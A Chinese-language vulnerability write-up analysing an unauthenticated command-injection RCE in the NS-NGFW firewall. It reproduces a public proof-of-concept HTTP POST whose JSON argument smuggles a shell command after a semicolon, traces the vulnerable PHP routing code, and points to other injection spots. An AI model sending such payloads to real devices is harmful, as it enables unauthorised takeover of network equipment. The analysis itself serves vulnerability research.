奇安信NS-NGFW防火墙前台rce分析
最近hw行动愈演愈烈,漏洞也是层出不穷,之前爆出了网康防火墙的rce,就分析一下
影响
这次漏洞又是前台无条件rce,影响就还是挺大的。

详情
网上的poc
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| POST /directdata/direct/router HTTP/1.1 Host: x.x.x.x User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Connection: close Cookie: PHPSESSID=nhqa43j0v61u6mtgkskkf235q7; ys-active_page=s%3A Upgrade-Insecure-Requests: 1 Content-Type: application/json X-Requested-With: XMLHttpRequest Content-Length: 160
{ "action": "SSLVPN_Resource", "method": "deleteImage", "data":[{ "data":["/var/www/html/b.txt;echo'fa3a6469'>/var/www/html/fa3a6.txt"] }], "type": "rpc", "tid": 17 }
|
post请求部分如上,可以很明显的看出是一个命令注入的漏洞。
分析
根据漏洞我们就可以结合代码进行分析
首先根据路由,找到 /directdata/direct/router 这个请求的内容

发现调用了 Ext_Direct 类的 run 方法,发现这个类的作用是直接调用模板内的方法,继续跟进

开头调用了 Ext_Direct_Request 类解析请求


发现这个方法解析了请求体,他做的操作是先调用 json_decode 解析json,会返回一个对象,然后一次解析请求的类名、方法名、参数名。

并通过 call_user_func_array 调用方法,传递参数。
那这个漏洞的利用就很明了, DirectController.php 这个控制器存在未授权的问题,导致攻击者可以利用他调用任意模板。
那我们就可以对poc进行分析:
1 2 3 4 5
| "action": "SSLVPN_Resource", "method": "deleteImage", "data":[{ "data":["/var/www/html/b.txt;echo'fa3a6469'>/var/www/html/fa3a6.txt"] }]
|
这三个参数,对应着:
1 2 3 4 5 6 7
| 类名:SSLVPN_Resource 方法:deleteImage 参数:{ "data":["/var/www/html/b.txt;echo'fa3a6469'>/var/www/html/fa3a6.txt"] }
|
那就直接去代码中寻找就行

一目了然,参数传递的是一个对象,取 data 的值(数组)进行遍历后,如果遍历的值不是default.png,则将该值拼接进命令执行删除,其中未作任何过滤,直接通过 ; 即可执行任意命令。
其他RCE点
其实可调用的model中还有很多的rce点,比如以下这个点

利用方式更简洁明了

而且此处是回显的。
又比如

这里,对于linux系统来说建立文件夹的名称是可以包含特殊字符的

这样的话其实对他们执行命令时需要通过转义符进行转义,比如
但是这个代码里明显没有,这个exec_cmd是执行环境变量 CMD 的值,所以这里又是一处命令注入点

应该还有很多地方把,不一个个挖了。。